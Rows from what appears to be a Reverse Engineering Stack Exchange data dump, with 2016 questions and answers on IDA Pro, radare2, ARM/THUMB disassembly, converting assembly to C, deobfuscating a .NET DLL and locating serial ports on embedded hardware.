  <row Id="12693" PostTypeId="1" AcceptedAnswerId="12694" CreationDate="2016-05-19T12:57:04.737" Score="2" ViewCount="1345" Body="&lt;p&gt;I'm trying to reverse-engineer a binary. I'm interested to find its network traffic but dynamic analysis is failing. Using IDA I'm able to identify network calls but when I try to reverse its caller using &lt;code&gt;x&lt;/code&gt; shortcut after couple of callers I get stuck at this point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00407230                 dd offset sub_40600C&#xA;.text:00407234                 dd offset sub_403C30&#xA;.text:00407238                 dd offset nullsub_4&#xA;.text:0040723C                 dd offset sub_40601C&#xA;.text:00407240                 dd offset sub_4039BC&#xA;.text:00407244                 dd offset sub_40C294&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to ask how I can proceed further. &lt;/p&gt;&#xA;" OwnerUserId="15600" LastEditorUserId="245" LastEditDate="2016-05-20T13:35:45.590" LastActivityDate="2016-05-20T13:35:45.590" Title="Reverse Referencing in IDA" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12694" PostTypeId="2" ParentId="12693" CreationDate="2016-05-19T13:08:08.727" Score="3" Body="&lt;p&gt;This means that these functions are called indirectly (if ever called at all).&#xA;If this program is written in something like C++ this may be a virtual function pointer table, and anyway such code organization usually represents table of functions used by indirect calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this program is written in C++ I'd suggest to read &lt;a href=&quot;http://www.hexblog.com/wp-content/uploads/2011/08/Recon-2011-Skochinsky.pdf&quot; rel=&quot;nofollow&quot;&gt;this presentation&lt;/a&gt; by @Igor Skochinsky - this is very educational reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd proceed as follows: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find a references to the specific address where function address is stored.&lt;/li&gt;&#xA;&lt;li&gt;If there is no one referencing it look for the first address before the one you are working with referenced by something and inspect all references to it. &lt;/li&gt;&#xA;&lt;li&gt;You'll probably find there indirect call of one of the functions from the table or initialization of virtual function pointer table in the instance of the class.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-05-19T13:08:08.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12697" PostTypeId="2" ParentId="12623" CreationDate="2016-05-20T11:33:24.063" Score="1" Body="&lt;p&gt;Was a bit lazy to answer this myself so here we go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it seems to display the registers just fine (XMM), so if you press TAB while on Psuedo Code it will take back to where it points to in assembly display, and then you can hover on the XMM register and it will display it nicely.&lt;/p&gt;&#xA;" OwnerUserId="16052" LastActivityDate="2016-05-20T11:33:24.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12698" PostTypeId="1" AcceptedAnswerId="12701" CreationDate="2016-05-20T15:40:55.677" Score="2" ViewCount="11861" Body="&lt;p&gt;How to select ARM or THUMB mode when using &quot;Make Code&quot; command?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ARM binary and I want to specify ARM or THUMB code making manually in IDA, but how to do this?&lt;/p&gt;&#xA;" OwnerUserId="16155" LastActivityDate="2016-05-20T18:33:23.543" Title="IDA Pro. How to select ARM or THUMB mode when using &quot;Make Code&quot; command" Tags="|ida|disassembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12699" PostTypeId="2" ParentId="12207" CreationDate="2016-05-20T15:56:51.303" Score="1" Body="&lt;p&gt;What exactly are you trying to do?&#xA;From what it sounds like, you have a need (ping/pong events for metrics) but you're assuming the best solution is to perform whatever you described...you're &lt;a href=&quot;https://joi.ito.com/weblog/2005/03/05/yak-shaving.html&quot; rel=&quot;nofollow&quot;&gt;shaving a yak&lt;/a&gt; which means reverse engineering on stack exchange isn't what you really need (probably serverfault).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you're polling or performing ping/pong client-server communications for simple metrics or something, just sign up with O2 or Deutsch Telekom (best coverage in EU AFAIK), pop the SIM card into your 3g/4g dongle and use the dongle on your server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you can just use your cellphone to text the number associated with the dongle's sim card (parsing the text message is left to the reader as an exercise). For your server, you can either send an email to an SMS-to-email gateway to send a response back to your cellphone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this (Reverse-engineering on stack exchange) ISN'T the place to ask for solutions in the 1st place for problems like that. &#xA;Also, I strongly believe you're shaving a yak.&lt;/p&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="10058" LastEditDate="2016-06-23T20:17:59.170" LastActivityDate="2016-06-23T20:17:59.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12700" PostTypeId="2" ParentId="3450" CreationDate="2016-05-20T16:15:19.323" Score="1" Body="&lt;p&gt;If you just want to trace instructions to create a control flow graph (CFG) and even a fairly-accurate data flow graph (DFG), pyCommand is admittedly clunky compared to the tools we have available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PLATFORM AGNOSTIC&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pydbg (python)&lt;/li&gt;&#xA;&lt;li&gt;capstone disassembly (python, with added taint analysis support)&lt;/li&gt;&#xA;&lt;li&gt;Intel Pintools (C/C++, faster than all the above)&lt;/li&gt;&#xA;&lt;li&gt;openREIL (highly experimental)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LINUX&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;perf (linux kernel module which already implements CFG creation)&lt;/li&gt;&#xA;&lt;li&gt;valgrind/callgrind (callgrind is responsible for CFG creation)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please note the python solutions with be slower (but easier to implement) than the C/C++ solutions.&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2016-05-20T16:15:19.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12701" PostTypeId="2" ParentId="12698" CreationDate="2016-05-20T16:47:15.030" Score="6" Body="&lt;p&gt;When IDA first analyzes the binary, it detects which parts of the code are ARM, and which part are THUMB instructions. Then, it creates segments according to the analysis, and marks each segment as a &quot;THUMB&quot; or &quot;ARM&quot; segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; to see which segment has which type (Value 00=ARM, 01=THUMB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;alt&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; to change the designation of the current segment (the one the cursor is in right now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't satisfied with what the analyzer created, use the Edit/Segments submenus to move, resize, create, or delete them.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-05-20T18:33:23.543" LastActivityDate="2016-05-20T18:33:23.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12703" PostTypeId="2" ParentId="12692" CreationDate="2016-05-20T18:34:22.813" Score="4" Body="&lt;p&gt;Probably the easiest way to go about it is to find out what firmware image your phone is running and download it, extract the kernel blob (zImage), then fire that up in the android emulator/QEMU and remote kgdb into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could unpack the kernel using unmkbootimg: &lt;a href=&quot;https://github.com/osm0sis/mkbootimg&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/osm0sis/mkbootimg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of tutorials on xda for unpacking the kernel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link of some dude debugging an android kernel in the emulator:&#xA;&lt;a href=&quot;http://www.informit.com/articles/article.aspx?p=2431417&amp;amp;seqNum=3&quot; rel=&quot;noreferrer&quot;&gt;http://www.informit.com/articles/article.aspx?p=2431417&amp;amp;seqNum=3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4409" LastActivityDate="2016-05-20T18:34:22.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12704" PostTypeId="1" CreationDate="2016-05-20T20:48:48.060" Score="1" ViewCount="69" Body="&lt;p&gt;I'm making a device that needs me to transfer some sort of initiation code like handshaking to start further communications.&#xA;There is 2 inputs and 2 outputs the first output is pretty similar to a two's compliment which only works on even numbers and copy the value into the odd numbers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the second output is more complicated it is a combination of the first input and the second one and if the second input is 0 the second output is equal to the first output, let's see some examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input 1          Output 1                  Input 2           Output 2&#xA;&#xA;0- 00000000      1- 00000001     ------    8- 00001000      33- 00100001      &#xA;1- 00000001      5- 00000101     ------    8- 00001000      37- 00100101      &#xA;2- 00000010      5- 00000101     ------    8- 00001000      37- 00100101      &#xA;3- 00000011      9- 00001001     ------    8- 00001000      57- 00111001      &#xA;4- 00000100      9- 00001001     ------    8- 00001000      57- 00111001      &#xA;5- 00000101      21- 00010101     ------    8- 00001000      53- 00110101      &#xA;6- 00000110      21- 00010101     ------    8- 00001000      53- 00110101      &#xA;7- 00000111      17- 00010001     ------    8- 00001000      49- 00110001      &#xA;8- 00001000      17- 00010001     ------    8- 00001000      73- 01001001      &#xA;9- 00001001      21- 00010101     ------    8- 00001000      77- 01001101      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was the outputs for input 2 equal 8&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input 1           Output 1                    Input 2           Output 2&#xA;&#xA;25- 00011001      85- 01010101   ------      31- 00011111      248- 11111000      &#xA;26- 00011010      85- 01010101     ------    31- 00011111      245- 11110101      &#xA;27- 00011011      73- 01001001     ------    31- 00011111      242- 11110010      &#xA;28- 00011100      73- 01001001     ------    31- 00011111      239- 11101111      &#xA;29- 00011101      69- 01000101     ------    31- 00011111      236- 11101100      &#xA;30- 00011110      69- 01000101     ------    31- 00011111      233- 11101001      &#xA;31- 00011111      65- 01000001     ------    31- 00011111      230- 11100110      &#xA;32- 00100000      65- 01000001     ------    31- 00011111      195- 11000011      &#xA;33- 00100001      69- 01000101     ------    31- 00011111      192- 11000000      &#xA;34- 00100010      69- 01000101     ------    31- 00011111      61- 00111101      &#xA;35- 00100011      73- 01001001     ------    31- 00011111      58- 00111010      &#xA;36- 00100100      73- 01001001     ------    31- 00011111      55- 00110111      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here also you can find some different inputs and outputs while holding one input constant and the others change:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/KpJLV4Tu&quot; rel=&quot;nofollow&quot;&gt;Input2=16&lt;/a&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/hpfc99MF&quot; rel=&quot;nofollow&quot;&gt;Input 2=5&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input 1=2, link: pastebin.com/k5D5J1d5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on a way to find the protocol for the outputs or the formula between them would be highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16144" LastActivityDate="2016-05-20T20:48:48.060" Title="Reversing a serial communication with two inputs" Tags="|decryption|serial-communication|protocol|packet|communication|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12705" PostTypeId="1" CreationDate="2016-05-21T11:19:49.843" Score="1" ViewCount="184" Body="&lt;p&gt;Is it possible to use radare2 to perform a search like the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;first occurence of &lt;code&gt;ldr r1&lt;/code&gt; before address 0x000048b4&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K96pC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K96pC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following example it should return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x000048b2 ldr r1, [pc, 0x20]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;radare2 is able to guess the value of &lt;code&gt;[pc, 0x20]&lt;/code&gt; (511). Would it be possible to retrieve that separately ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g0Jlf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g0Jlf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3469" LastActivityDate="2016-06-05T22:48:34.747" Title="radare2 search first occurrence before" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12706" PostTypeId="1" CreationDate="2016-05-21T12:18:24.983" Score="0" ViewCount="393" Body="&lt;p&gt;Currently I have a 2000+Line function to reverse engineer with many redundancies and appears to be  obfuscated. It their a way to pass to pass this binary to gcc or clang to reassemble it and optimize it ?&lt;/p&gt;&#xA;" OwnerUserId="8437" LastActivityDate="2016-05-21T12:18:24.983" Title="How to pass Obfuscated Elf binary to gcc optimization end" Tags="|assembly|c|deobfuscation|gcc|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12707" PostTypeId="1" CreationDate="2016-05-21T14:06:02.667" Score="1" ViewCount="1776" Body="&lt;p&gt;I want to do a reverse-engineering of an obfuscated Unity DLL assembly, but de4dot doesn't work. It says &quot;Unknown Obfuscator&quot;.&#xA;Also tried iMPROVE and it says that there is a 97% chance that it is a DotWall obfuscated assembly, but deobfuscation doesn't work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the DLL:&#xA;&lt;a href=&quot;http://uploadboy.me/87n60oy2ifiw/Assembly-CSharp.zip.html&quot; rel=&quot;nofollow&quot;&gt;http://uploadboy.me/87n60oy2ifiw/Assembly-CSharp.zip.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone say how can I deobfuscate it? or at least which obfuscator has produced this DLL?&lt;/p&gt;&#xA;" OwnerUserId="16160" LastEditorUserId="16160" LastEditDate="2016-05-22T02:40:50.013" LastActivityDate="2016-10-20T03:53:04.697" Title="Cannot detect obfuscator of the obfuscated DLL" Tags="|deobfuscation|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12708" PostTypeId="1" AcceptedAnswerId="12722" CreationDate="2016-05-21T16:46:22.020" Score="2" ViewCount="124" Body="&lt;p&gt;Let's say I want to reverse engineer an executable that interprets some data type. I want to see how the program interferes with the file, and what is stored. In the case that decompilation is not an option, I have disassembly and debugging left. With disassembly, I would have to look into 200,000 lines of assembly, which would be rather tedious, especially if I needed to hand code it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience with debugging with &lt;strong&gt;gdb&lt;/strong&gt;, all that I was able to do is see when a thread is being created, and inspecting the stack, both of which don't seem like very useful to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my approach to debugging incorrect? If it is, then what can you do with a debugger like &lt;strong&gt;gdb&lt;/strong&gt;, avoiding paid debuggers or software, to find out a piece of information similar to the one I am trying to find? Can someone give me a pointer for the sake of orientation?&lt;/p&gt;&#xA;" OwnerUserId="15199" LastActivityDate="2016-05-23T05:55:14.780" Title="How do debuggers help one with finding information about how a program does something?" Tags="|debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12709" PostTypeId="2" ParentId="12708" CreationDate="2016-05-21T20:16:00.277" Score="1" Body="&lt;p&gt;A few other options for understanding file formats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://lcamtuf.blogspot.com/2016/02/say-hello-to-afl-analyze.html&quot; rel=&quot;nofollow&quot;&gt;afl-analyze&lt;/a&gt; can help you analyze the file format, assuming you can instrument the binary with the normal afl instrumentation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Taint analysis can often help you isolate the instructions which operate on the file data. There's a wide variety of tools possible here, like &lt;a href=&quot;https://github.com/moyix/panda/blob/master/qemu/panda_plugins/taint2/USAGE.md&quot; rel=&quot;nofollow&quot;&gt;panda&lt;/a&gt;, &lt;a href=&quot;http://triton.quarkslab.com/&quot; rel=&quot;nofollow&quot;&gt;triton&lt;/a&gt;, &lt;a href=&quot;http://angr.io/&quot; rel=&quot;nofollow&quot;&gt;angr&lt;/a&gt;, and the &lt;a href=&quot;https://github.com/vrtadmin/moflow/tree/master/BAP-0.7-moflow/pintraces&quot; rel=&quot;nofollow&quot;&gt;pintracer&lt;/a&gt; in moflow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2016-05-21T20:17:33.300" LastActivityDate="2016-05-21T20:17:33.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12710" PostTypeId="1" AcceptedAnswerId="12712" CreationDate="2016-05-21T22:22:16.997" Score="2" ViewCount="150" Body="&lt;p&gt;I just tried to convert the asm code shown belown, but I failed to get the same result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00ACDE11  /MOV AL,BYTE PTR DS:[EBX]          &#xA;00ACDE13  |MOV EDX,EAX                       &#xA;00ACDE15  |ADD DL,0CF                        &#xA;00ACDE18  |SUB DL,9                          &#xA;00ACDE1B  |JB SHORT 00ACDE46            ;Especially this     &#xA;00ACDE1D  |ADD DL,0F9                        &#xA;00ACDE20  |SUB DL,0E                         &#xA;00ACDE23  |JB SHORT 00ACDE46            ;Especially this     &#xA;00ACDE25  |DEC EDX                           &#xA;00ACDE26  |SUB DL,0B                         &#xA;00ACDE29  |JB SHORT 00ACDE46            ;Especially this     &#xA;00ACDE2B  |XOR EAX,EAX                       &#xA;00ACDE2D  |MOV AL,BYTE PTR SS:[EBP-310]      &#xA;00ACDE33  |DEC EAX                           &#xA;00ACDE34  |CALL 009E2D24                     &#xA;00ACDE39  |MOV EDI,EAX                       &#xA;00ACDE3B  |MOV AL,BYTE PTR SS:[EDI+EBP-30F]  &#xA;00ACDE42  |MOV BYTE PTR DS:[EBX],AL          &#xA;00ACDE44  |JMP SHORT 00ACDE48                &#xA;00ACDE46  |MOV BYTE PTR DS:[EBX],AL          &#xA;00ACDE48  |INC EBX                           &#xA;00ACDE49  |DEC ESI                           &#xA;00ACDE4A  \JNZ SHORT 00ACDE11                &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already does some research effort on the internet and found that carry flag is set when an overflow is caused.&#xA;This is what I already tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for(int i=0; i &amp;lt; n ;i++)&#xA;{&#xA;    int c = buffer[i] + 0xC6;&#xA;&#xA;    if(c &amp;gt; 0xFF) // &amp;lt;---- this is not producing the same result&#xA;    {&#xA;        c = ((unsigned char) c) + 0xEB;&#xA;&#xA;        if(c &amp;gt; 0xFF) // &amp;lt;---- this is not producing the same result&#xA;        {&#xA;            c = ((unsigned char) c) - 0xC;&#xA;&#xA;            if(c &amp;gt; 0xFF) // &amp;lt;---- this is not producing the same result&#xA;            {&#xA;                //...&#xA;                //func_009E2D24(...);&#xA;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    //...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15697" LastEditorUserId="53" LastEditDate="2017-04-28T12:49:00.500" LastActivityDate="2017-04-28T12:49:00.500" Title="How the asm code can be converted to C Language?" Tags="|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12711" PostTypeId="1" AcceptedAnswerId="12715" CreationDate="2016-05-22T03:04:37.753" Score="2" ViewCount="242" Body="&lt;p&gt;I've been slowly working on getting into the workings of a set-top box. I hit a snag when the firmware that it downloads is encrypted. I managed to find some pictures of the circuit board (but haven't opened up my device &lt;em&gt;yet&lt;/em&gt;) and I have been reading up on communicating over the on-board serial port. I have zero experience with this, other than what I've read on &lt;a href=&quot;http://devttys0.com&quot; rel=&quot;nofollow&quot;&gt;http://devttys0.com&lt;/a&gt; and &lt;a href=&quot;http://jcjc-dev.com/&quot; rel=&quot;nofollow&quot;&gt;http://jcjc-dev.com/&lt;/a&gt; and various other sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is this - Since I'm such a newbie at this, is anyone willing to look at these pictures and help me figure out where a serial port might be hidden? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pictures @ &lt;a href=&quot;https://www.dropbox.com/sh/qzd2jpjlv1ieehu/0Am6ttruYe&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/sh/qzd2jpjlv1ieehu/0Am6ttruYe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Thanks for your time!&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2016-05-22T20:22:10.527" Title="Help locating Serial Port on embedded device" Tags="|serial-communication|embedded|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12712" PostTypeId="2" ParentId="12710" CreationDate="2016-05-22T14:26:16.490" Score="1" Body="&lt;p&gt;This is what I wanted so far, this worked fine for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for(int i=0; i &amp;lt; n ;i++)&#xA;{&#xA;    int c = buffer[i] + 0xCF;&#xA;    c = (unsigned char)c;&#xA;    c -= 9;&#xA;    if (c &amp;gt; 0)&#xA;    {&#xA;        c += 0xF9;&#xA;        c = (unsigned char)c;&#xA;        c -= 0xE;&#xA;        if (c &amp;gt; 0)&#xA;        {&#xA;            c = (unsigned char)c;&#xA;            c -= 0xC;&#xA;            if (c &amp;gt; 0)&#xA;            {&#xA;                //...&#xA;                //func_009E2D24(...);&#xA;            }&#xA;        }&#xA;&#xA;    }&#xA;    //...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15697" LastActivityDate="2016-05-22T14:26:16.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12713" PostTypeId="1" CreationDate="2016-05-22T15:35:18.427" Score="1" ViewCount="465" Body="&lt;p&gt;I need to write a script that uses the r2pipe API to call the radare2 instance, analyze notepad.exe, and have it return a JSON-represented list of each function in the binary along with its virtual address. I used the link below for help, but I still can't figure out how to do it.&#xA;I have installed r2pipe bindings and radare2.&#xA; My python file looks somewhat like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import r2pipe&#xA;import json&#xA;&#xA;r2 = r2pipe.open(&quot;/bin/ls&quot;)&#xA;x=(r2.cmd(&quot;pd 10&quot;))&#xA;json.dumps(x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Links i used to understand,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2/wiki/R2PipeAPI&quot; rel=&quot;nofollow&quot;&gt;https://github.com/radare/radare2/wiki/R2PipeAPI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/pwntester/cheatsheets/blob/master/radare2.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pwntester/cheatsheets/blob/master/radare2.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16166" LastActivityDate="2016-05-22T15:35:18.427" Title="To write a Python file to return a JSON represented list" Tags="|python|radare2|" AnswerCount="0" CommentCount="1" ClosedDate="2016-05-23T06:33:10.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="12714" PostTypeId="2" ParentId="11201" CreationDate="2016-05-22T18:44:35.043" Score="5" Body="&lt;p&gt;My achievements.&#xA;I added to the startup telnetd, and ftpd.&#xA;I found cifs.ko. kernel module And now added to mount network folders on boot. It works faster than dlna, in addition, I was able to solve the problem with the display of some of the file names in the Russian keyboard layout that used to be displayed as question marks....&#xA;See my research on the link&#xA;&lt;a href=&quot;http://openlgtv.org.ru/forum/viewtopic.php?f=17&amp;amp;t=170280&quot; rel=&quot;noreferrer&quot;&gt;http://openlgtv.org.ru/forum/viewtopic.php?f=17&amp;amp;t=170280&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16167" LastActivityDate="2016-05-22T18:44:35.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12715" PostTypeId="2" ParentId="12711" CreationDate="2016-05-22T20:22:10.527" Score="1" Body="&lt;p&gt;Look for .1 Inch spaced pads or holes, at least three contacts will be in a row (as you need RX, TX and GND). At a glance I can't find a port in the photos. You should try to get some really high resolution top and bottom pictures.&lt;/p&gt;&#xA;" OwnerUserId="14674" LastActivityDate="2016-05-22T20:22:10.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12716" PostTypeId="1" CreationDate="2016-05-22T22:33:58.627" Score="3" ViewCount="391" Body="&lt;p&gt;Trying to teach myself how to use IDA Pro, and I'm stuck trying to understand this enum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum Input::Action, copyof_42, bitfield&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Local type 42 is defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef ChunkStatus::Enum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;who's enum is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum {Nothing = 0x0,&#xA;      CustomTiles = 0xA,&#xA;      BasicTiles = 0x14,&#xA;      CorrectedTiles = 0x1E,&#xA;      Tiles = 0x28,&#xA;      Entities = 0x32,}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the Input::Action enum has values at least from 0 to 90. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do the commas in the first statement mean?&#xA;Can I put a limit on the range of values that Input::Action can take?&#xA;I've loaded the PDB file, and have gotten the name of enum members for some of the other enums. Can I get names for the members of this enum?&lt;/p&gt;&#xA;" OwnerUserId="12697" LastActivityDate="2016-05-22T22:33:58.627" Title="What does this enum mean (IDA Pro)?" Tags="|ida|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12717" PostTypeId="2" ParentId="12707" CreationDate="2016-05-23T01:07:36.643" Score="1" Body="&lt;p&gt;It &lt;em&gt;is&lt;/em&gt; &lt;strong&gt;CodeWall&lt;/strong&gt;, strings are &lt;em&gt;not&lt;/em&gt; encrypted, or really &lt;em&gt;slightly&lt;/em&gt; (a simple XOR but nothing more complexe). You can use the &lt;strong&gt;&lt;em&gt;IsLatin&lt;/em&gt;&lt;/strong&gt; regex with De4Dot to clean the file as far as names are concerned. &lt;/p&gt;&#xA;" OwnerUserId="16078" LastActivityDate="2016-05-23T01:07:36.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12718" PostTypeId="1" CreationDate="2016-05-23T02:36:34.987" Score="6" ViewCount="880" Body="&lt;p&gt;Since the template classes are different between instantiation, it is extremely difficult for library recognition using universal patterns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the control flow graph and references to system call of those template functions should be almost the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a good and reliable way to identify and recognize these STL classes ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: some classes using template like &lt;code&gt;std::string&lt;/code&gt; is fixed. These classes can be recognized by FLAIR (Fast Library Acquisition for Identification and Recognition).&lt;/p&gt;&#xA;" OwnerUserId="16169" LastEditorUserId="3041" LastEditDate="2016-05-23T17:38:15.850" LastActivityDate="2016-05-23T17:38:15.850" Title="Reliable way to recognize STL template classes?" Tags="|ida|disassembly|c++|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
